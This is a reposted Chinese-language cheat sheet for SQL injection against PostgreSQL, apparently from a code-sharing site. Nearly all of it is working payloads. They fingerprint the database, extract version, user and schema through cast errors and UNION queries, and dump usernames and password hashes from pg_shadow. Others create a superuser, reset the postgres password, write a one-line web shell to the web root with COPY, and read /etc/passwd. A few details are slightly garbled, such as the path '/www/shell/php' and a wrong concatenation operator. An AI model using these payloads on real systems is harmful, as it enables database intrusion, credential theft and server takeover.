Sql注入之postgresql


Sql注入之Postgresql

介紹

Postgresql是一款中小型數據庫,經常與PHP一起使用。

數據庫判斷

+and+1::int=1-

返回正常即為Postgresql數據庫

常用注入語句

  • 數據庫版本
+and+1=cast(version() as int)-
  • 判斷當前用戶
and 1=cast(user||123 as int)
  • 判斷字段數
order by

聯合注入

用法和oracle相似

  • 數據庫版本信息
union select null,version(),null 
  • 用戶權限
union select null,current_schema(),null
  • 數據庫名稱
union select null,current_database(),null
  • 表名
union select null,relname,null from pg_stat_user_tables
  • 列名
union select null,column_name,null from information_schema.columns where table_name='表名'
  • 查看數據庫賬號密碼
union select null,usename|char(124)|passwd,null from pg_shadow

||連接字符串

char(124)為|

獲得結果例子:admin|password

  • 創建用戶
;create user test with superuser password 'test'-- 
  • 修改postgres的用戶密碼為pass
;alter user postgres with password 'pass'

寫shell

  • 方法一

依次執行如下三個命令

;create  table shell(shell text not null);
;insert into shell values(一句話木馬);
;copy shell(shell) to '/www/shell.php';

這樣就會將一句話木馬寫到,www目錄下的shell.php文件中

  • 方法二
;copy (select '一句話木馬') to '/www/shell/php';

讀文件

pg_read_file('/etc/passwd',1,20)	#讀文件前20行


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM